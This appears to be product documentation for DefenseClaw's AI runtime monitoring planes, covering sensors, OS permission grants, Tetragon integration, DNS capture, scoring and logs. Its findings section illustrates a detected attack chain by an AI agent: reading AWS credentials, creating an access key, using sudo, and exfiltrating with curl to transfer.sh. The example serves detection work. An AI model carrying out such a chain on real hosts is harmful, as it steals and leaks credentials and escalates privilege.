AI Discovery runtime planes
See which AI process ran, which provider it sent data to and what actions it took, with per-OS grants, Tetragon, DNS capture and settings.
The AI Discovery inventory shows what AI is present. It does not prove a component is active. The runtime planes answer the next question: which process is running inference or sending data to which provider right now, and does a sequence of host actions add up to a chain?
| Question | Answered by |
|---|---|
| What AI is present? | Discovery and AIBOM |
| What AI is allowed? | Registries |
| What AI actually ran, and where did it send data? | Runtime planes |
Present but never running is dormant attack surface that only discovery sees. Running and sending data but not in the inventory is an agent that arrived by a path the scan does not cover, and only the runtime planes see that.
Turn them on
# A new configuration gets planes A and B. Add --enable-host-plane for Plane C.
defenseclaw agent discovery runtime enable --restart
defenseclaw agent discovery runtime selftest
defenseclaw agent discovery runtime findingsdefenseclaw agent discovery enable turns on planes A and B too. defenseclaw agent discovery runtime disable turns them off.
The three planes
| Plane | Observes | Mechanism |
|---|---|---|
| A, inference heartbeat | Sustained CPU in a scriptable runtime, and resident memory large enough to hold model weights | /proc on Linux, ps on macOS, Toolhelp32 and GetProcessTimes on Windows |
| B, shadow egress | Per-process socket attribution to a provider, and the DNS answers that name the peer | /proc/net and /proc/<pid>/fd, lsof, GetExtendedTcpTable |
| C, agent actions | Kernel process, file and identity events, gated on AI-agent process lineage | Endpoint Security (eslogger); cn_proc and fanotify, or Tetragon on a managed Linux computer that runs it; the Windows Security event log |
- Plane A raises a heartbeat only inside a scriptable runtime or a known model server. A busy compiled application is not scored.
- The runtime planes read process arguments (argv), which the inventory does not collect. The inventory matches executable names, so an agent framework inside a bare
python3is invisible to it.
The runtime planes read more than the inventory does
argv is collected and classified as content on the wire, so each destination's redaction profile decides whether it leaves the host. Provider hostnames are content for the same reason. Environment variable values are never read. A new configuration selects planes A and B; --enable-host-plane adds Plane C and prints a warning. DNS capture is a separate opt-in.
What each platform delivers for Plane C
Plane C's coverage depends on the platform and on privilege. The sensor reports which parts it has.
| Platform | Source | Needs | Delivers | Does not |
|---|---|---|---|---|
| macOS | Endpoint Security via eslogger | root and Full Disk Access | All six kinds: exec with argv, exit, file read and write on watched paths, account and privilege events recognised from the arguments | |
| Linux | cn_proc netlink | CAP_NET_ADMIN | Exec, exit, uid and gid changes. Name and arguments are read from /proc after the event, so a short-lived process can lose them | The executable path from process start, container identity |
| Linux | fanotify | CAP_SYS_ADMIN | File read and write on watched roots | |
| Linux, managed enterprise (Preview) | Tetragon, read by the root sensor helper | Nothing at the gateway. Tetragon's API is root-only, so a per-user install never connects to it | Exec and exit with binary, arguments, user and parent recorded in the kernel at exec; the container a process belongs to. In observe and enforce modes also file opens of credential, persistence and agent-config paths, and connects per binary | |
| Windows (Preview) | Security event log (wevtapi) | Elevated token and Advanced Audit Policy | Process creation and exit, account creation, group changes, privilege assignment | File events, which need a SACL per audited object |
- Linux halves start independently. With
CAP_NET_ADMINbut notCAP_SYS_ADMIN,cn_procruns and the snapshot reports the file half absent (partially covered). With neither, the snapshot names the missing capability. On a managed Linux computer the root sensor helper holds the capabilities; see Plane C on managed Linux. - Windows has two separate policies. Advanced Audit Policy turns the events on; the command-line policy adds argv to them. Without the second, lineage works but argument-based tactics do not.
- Windows reads in order. The plane reads the Security log from the last record it read, file and account events before process events. A burst of process starts can delay a later file write, so it can still be traced to the right agent. While the reader is behind,
degraded_reasonslistsagent actions partially covered: Security event log reader is behind .... Process events are delayed, not skipped.
# the events themselves
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
auditpol /set /subcategory:"User Account Management" /success:enable /failure:enable
auditpol /set /subcategory:"Sensitive Privilege Use" /success:enable /failure:enable
# and, separately, argv on those events
$audit = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit"
New-Item -Path $audit -Force | Out-Null
Set-ItemProperty -Path $audit -Name ProcessCreationIncludeCmdLine_Enabled -Value 1 -Type DWordWhat to grant, per OS
Every plane runs without these grants and reports what it cannot see. Granting them makes coverage complete; none is needed to install or run.
Ask the host what is missing
defenseclaw agent discovery runtime permissions- It works before anything is running (
runtime selftestneeds a running gateway). - Each line reads
[granted],[MISSING]or[unknown].[unknown]means this process cannot verify that grant from where it runs. --os linux|darwin|windowsplans for another platform without probing it.--jsonfeeds a deployment tool.
Apply the missing grants
defenseclaw agent discovery runtime permissions --grant- Every command is printed before it runs, and you confirm (
--yesskips the question). - On Linux it runs one
setcapon the gateway binary (includingcap_net_adminforcn_proc). - On Windows it sets the three audit subcategories and the command-line policy, from an already-elevated prompt. It never sets a blanket SACL.
- On macOS it opens the Full Disk Access settings pane. No process can grant Full Disk Access; managed installs use an MDM PPPC profile.
--revertundoes exactly what--grantapplied.
Per-user install: what you grant
| Signal | macOS | Linux | Windows |
|---|---|---|---|
| A inference heartbeat | nothing | nothing | nothing for own processes; elevation for all |
| B egress attribution | root | root or CAP_DAC_READ_SEARCH | elevated token |
| B DNS naming | root, for /dev/bpf | CAP_NET_RAW | elevated token |
| C process and identity events | root and Full Disk Access | CAP_NET_ADMIN (cn_proc) | elevated and Advanced Audit Policy |
| C file events | included above | CAP_SYS_ADMIN (fanotify) | a SACL per audited object |
| C command lines | included above | included above | the separate command-line audit policy |
The three grants that most often get missed:
- macOS Full Disk Access applies to the responsible process: the terminal or daemon that launched the gateway, not the gateway binary. On a managed Mac that is the root sensor helper,
defenseclaw-sensor-helper; the macOS enterprise guide has the PPPC payload. Without it, Endpoint Security refuses the client even as root, and Plane C reports itself stopped with Apple's message. - Windows argv is a second policy. Without
ProcessCreationIncludeCmdLine_Enabled, lineage works and nearly every tactic does not. - Linux Plane C has two halves.
cn_procneedsCAP_NET_ADMINandfanotifyneedsCAP_SYS_ADMIN.permissions --grantapplies both.
Managed enterprise install: the installer arranges these
The gateway is de-privileged on a managed computer, so the grants do not go to it.
| Setting | macOS | Linux | Windows |
|---|---|---|---|
| Gateway runs as | _defenseclaw (LaunchDaemon) | unprivileged defenseclaw, systemd sandbox | write-restricted LocalSystem with the gateway service SID |
| Acquisition | brokered via defenseclaw-sensor-helper | brokered via defenseclaw-sensor-helper | brokered via defenseclaw-sensor-helper |
| Who holds the privilege | the helper (root) | the helper (root) | the helper |
| You still grant | Full Disk Access to the helper, via an MDM PPPC profile | nothing; the unit declares its capabilities | Advanced Audit Policy and the command-line policy, via GPO |
On Windows the gateway's LocalSystem token is write-restricted, but reads outside user profiles are checked as LocalSystem. It refuses profile paths, and its scanner children inherit that token.
Where the privilege lives
The gateway faces the network, so a managed deployment removes its privilege on purpose. Under the shipped Linux unit, a gateway reading directly sees one process and zero connections:
ProcSubset=pidremoves/proc/netand hides every other process.RestrictAddressFamiliesblocksAF_NETLINKandAF_PACKET.- The empty
CapabilityBoundingSetblocksfanotify.
So the sensor helper, defenseclaw-sensor-helper, holds the privilege, does nothing else, and answers a fixed set of questions.
The helper takes no instruction about what to read: no path, filter, pid, glob or command in a request. What it watches comes from its own root-owned configuration. A compromised gateway can get the process table it would have had anyway, and cannot turn the helper into a general file reader.
| Setting | Value |
|---|---|
| Transport | AF_UNIX socket, mode 0660, owned by the gateway's group |
| Peer check (Linux, macOS) | Kernel-supplied uid via SO_PEERCRED or LOCAL_PEERCRED, which the peer cannot forge |
| Peer check (Windows) | The socket DACL, refused in the kernel at open |
| Helper network access | None; the unit allows AF_UNIX, AF_NETLINK and AF_PACKET only |
- The gateway uses the helper only where it was de-privileged and a helper is installed. On a per-user workstation it reads directly and reports the shortfall. There is no setting for this.
- The helper needs
CAP_CHOWNto hand the socket to the gateway's group. It checks that the ownership change took and refuses to start otherwise. - On Linux the helper is a systemd unit (
systemctl enable --now defenseclaw-sensor-helper). On Windows it is a service the enterprise installer registers, and the gateway starts after it. agent discovery runtime permissionsandselftestare per-user CLI commands; a managed computer does not have them.
On managed Windows, check the services with the installed CLI. Setup puts no DefenseClaw command on PATH (in cmd.exe, quote the path with double quotes instead of the & form):
Get-Service DefenseClawSensorHelper, DefenseClawGateway
& 'C:\Program Files\Cisco\DefenseClaw\bin\defenseclaw.exe' enterprise windows status --jsonIf the helper is absent, stopped, or its socket cannot be opened, runtime coverage reports degraded; the gateway never falls back to running privileged. Stage the approved helper binary and run enterprise repair. See Troubleshooting.
Plane C on managed Linux: Tetragon
If a managed Linux computer runs Tetragon, the sensor helper reads its events over Tetragon's root-owned Unix socket and uses them as Plane C's process source.
- This is the default mode,
consume. It works only while Plane C is on: setai_discovery.runtime.enabledandai_discovery.runtime.enable_host_planetotrue. - Tetragon records binary, arguments, user and parent in the kernel at exec, so fast processes are not lost. It marks container processes so they are never scored as a host agent.
- If Tetragon is absent, stopped, listening on TCP or an unsupported version, the stream falls back to
cn_procandfanotifyand says why.
| Mode | What it adds |
|---|---|
off | Tetragon is not used |
consume (default) | Tetragon as the process source |
observe (Preview) | DefenseClaw's own policies: file opens of credential, persistence and agent-config paths, and connects per binary |
enforce (Preview) | Two fixed controls can deny, only after an administrator approves them |
Hooks and OpenShell keep their roles; see Agent segmentation. Setup, the readiness check and the pause runbook are on Tetragon on a Linux fleet; settings are under enterprise.tetragon.
Your own Tetragon policies. If you run kprobe or LSM policies of your own, the helper also reports their events when they hit an AI agent (customer_events, on by default in consume, observe and enforce). Each record names the policy, action, outcome (observed, would_block or blocked) and target, with the agent, user and hook decision. Events outside an agent's process tree are only counted per policy. DefenseClaw never changes, loads or deletes your policies, and these events are not scored.
Per-user installs. A per-user install never connects to Tetragon: its socket is root-only and controls kernel policy. defenseclaw doctor and runtime permissions say so when Tetragon is present, and doctor warns when Tetragon serves its API on a TCP port.
Where the administrator sees it
The managed Linux packages ship no TUI, and their defenseclaw runs only the managed commands. Use sudo /opt/defenseclaw/bin/defenseclaw-gateway enterprise linux discovery, enterprise linux tetragon verify, tetragon status and defenseclaw-gateway status, plus telemetry.
When Plane C has a backend, enterprise linux discovery adds these lines under agent actions (--json includes the backend):
kernel sensor: Tetragon v1.7.1, enforce, 0 events lost
kernel controls: enforcing 2 of 3 users; 1 in burn-in, next ready ~9 days
your Tetragon policies: 4 loaded (1 enforcing); 12 agent events forwarded (DefenseClaw never changes them)- The second line appears only in
observeorenforce. "next ready" is calendar time at the user's rate of agent use so far, shown once the burn-in window is a day old. During a pause it ends with; paused until <time>. - The third line appears only when Tetragon has policies of yours. It counts their events below an AI agent since the gateway started; "over the budget" counts the ones not forwarded because of the volume limit.
- When the number of lost events is not known, the line says so instead of showing zero.
Naming a peer: DNS capture
With dns_capture on, an egress peer is named from the DNS answer this host actually received, not inferred from its address. That direct observation carries full confidence; a PTR record does not.
| Platform | Mechanism |
|---|---|
| Linux | AF_PACKET with a kernel BPF filter for UDP/53 |
| macOS | /dev/bpf with the same filter, in immediate mode |
| Windows | Microsoft-Windows-DNS-Client/Operational event 3008 |
- No
tcpdumpprocess and no third-party capture driver. - Off by default. Turn it on with
defenseclaw agent discovery runtime enable --dns-capture. It needs root on macOS andCAP_NET_RAWon Linux. - While off (or when it cannot start), peers are named by reverse DNS with lower confidence.
runtime statusandselftestshow, for example,lsof(8); peers named by reverse DNS (dns_capture off), andruntime permissionslists the DNS grant as[off].
Findings
Every host-plane signal needs an agent above it
No Plane C signal fires for a process without an AI agent above it in the process tree. A developer running sudo produces nothing; the same sudo below claude produces a signal. Every snapshot reports how many observations it classified and how many it discarded for having no agent above them.
The sequence is the finding
These steps are ordinary on a developer machine. Together, below one agent, they are a chain:
claude ──▶ sh ──▶ cat ~/.aws/credentials credential_access
──▶ sh ──▶ aws iam create-access-key identity_creation
──▶ sh ──▶ sudo … privilege_escalation
──▶ curl -T - https://transfer.sh/x exfiltration- A host-plane finding is one per agent session, not one per process. Children of an agent script share its identity.
- No single host-plane tactic reaches
highalone. The chain bonus needs three or more stages in order: reading a credential and later uploading has progressed; uploading and later reading a config file has not.
Correlation with the inventory
Runtime observations are joined against the discovery snapshot, so a finding says whether the inventory accounts for it:
| Verdict | Meaning | Effect on the score |
|---|---|---|
accounted | Discovery saw the same subject | Local-inference weights are halved |
unaccounted | A complete scan explains none of this | Escalates: sustained inference the scan cannot explain means the weights are hidden |
unobserved | No usable inventory to consult | Nothing: no discount and no escalation, but the blindness is recorded |
The discount applies only to local-inference signals. A model file on disk says nothing about where a process sent requests, so egress evidence is never discounted.
Coverage is reported, never implied
Every surface states what it could not see:
defenseclaw agent discovery runtime selftest ✓ inference heartbeat: running via /proc
✓ shadow egress: running via /proc/net and /proc/<pid>/fd
✓ agent actions: running via netlink process connector (cn_proc) only
processes: 180 read, 0 not fully readable | connections: 14 seen, 9 with no owner
⚠ coverage is partial:
- agent actions partially covered: file events need fanotify, which needs
CAP_SYS_ADMIN: fanotify_init: operation not permitted
- 64% of connections could not be attributed to a process. Run the gateway
with elevated privilege for machine-wide egress attribution.- On macOS and Linux the whole process table is readable unprivileged, but the socket-to-process mapping only for your own processes. An unprivileged run sees the whole machine compute and only its own share talk. Windows has the owning process in every connection row.
- A plane that delivers process events but not file events is reported as partial, not healthy or down.
- Plane health is emitted on every cycle, including when a plane is down, so a dead subscription leaves a trace.
Settings
Flag on runtime enable | Purpose |
|---|---|
--poll-interval-s | Seconds between polls (5 to 3600, default 30). Also the window that separates sustained inference from a short CPU spike |
--min-risk-to-report | Reporting floor (1 to 100, default 30, the medium band) |
--enable-host-plane | Select Plane C. Off in a new configuration; omitting the flag keeps the current setting; --no-enable-host-plane turns it off. Listing c in planes without this is ignored |
--dns-capture | Name peers from the DNS answer. Needs elevated privilege |
Config-only settings:
ai_discovery:
runtime:
enabled: true
planes: [a, b, c]
enable_host_plane: true
chain_window_min: 60 # how long a session stays open for a chain
sanctioned_endpoints: # egress here is expected, not a finding
- api.corp.example.comchain_window_min(default 60): too short and a patient agent never chains; too long and unrelated activity joins up.sanctioned_endpoints: your approved providers. Matching egress still shows in the output but is not scored as unsanctioned.correlate(default on):falseremoves the inventory read entirely. It does not make findings score as though the inventory disagreed.
Where the data lands
Five log families under the ai.discovery bucket, so presence and behaviour share one destination policy and one set of dashboards:
| Event | Carries |
|---|---|
ai.runtime.finding | One scored finding, its evidence trail and the inventory verdict |
ai.runtime.activity | One host-plane tactic with its MITRE ATT&CK technique and chain stage, the user and agent identity, the event source (tetragon, cn_proc, fanotify, ...) and, on managed Linux, whether a hook decision matched (hook_seen) |
ai.runtime.plane_health | One running plane per poll cycle. Plane C adds its backend (tetragon or native), mechanism, lost events and container events. On managed Linux with Tetragon it adds the Tetragon version, helper mode, whether enforce_ack approves this build, users enrolled, enforced and in burn-in, pause state, and the would-block, blocked and customer-event counts |
ai.runtime.kernel_policy | One record per change of the Linux kernel controls (policy loaded, mode changed, pause, user ready or back in burn-in), plus one every 6 hours per user in burn-in (uid_progress). Managed Linux with Tetragon only |
ai.runtime.kernel_event | One record per attributed event of your own Tetragon policies below an AI agent, after repeats are folded. Managed Linux with Tetragon only; customer_events: off stops them |
- Each running plane sends about one health record per poll cycle (every 30 seconds by default) to each destination that routes
ai.discoverylogs. Stopped or unselected planes send none. - To drop this stream from a destination, exclude the
ai.discoverybucket from its route. That also drops runtime findings and discovery events there. Local sensor status still reports every plane. - A degraded cycle reports outcome
partial, notcompleted. - The local observability stack ships the
defenseclaw-ai-runtime.jsondashboard, and Splunk local mode has an AI Discovery Runtime Planes view. Both show coverage in the first row.
TUI and macOS app
The TUI Runtime panel (N) and the macOS app's Runtime panel show the same snapshot.
- The plane strip is always visible; press
pto expand each plane's reason. - Coverage sits beside the finding count, so a quiet host and a blind sensor look different.
Enteropens a finding: a chain renders as a sequence, with the inventory verdict (includingunobserved).- Neither shows Tetragon: only a managed Linux gateway reports it, those packages ship no TUI, and the macOS app manages only the Mac's own gateway.
AI Discovery inventory
Look up AI Discovery inventory signals, local models, scan settings, signature packs, agent commands, AIBOM and what the privacy model covers.
IDE plugin inventory
See every extension and plugin in each IDE for each user, with its enabled state, which IDEs are covered and how to read the results.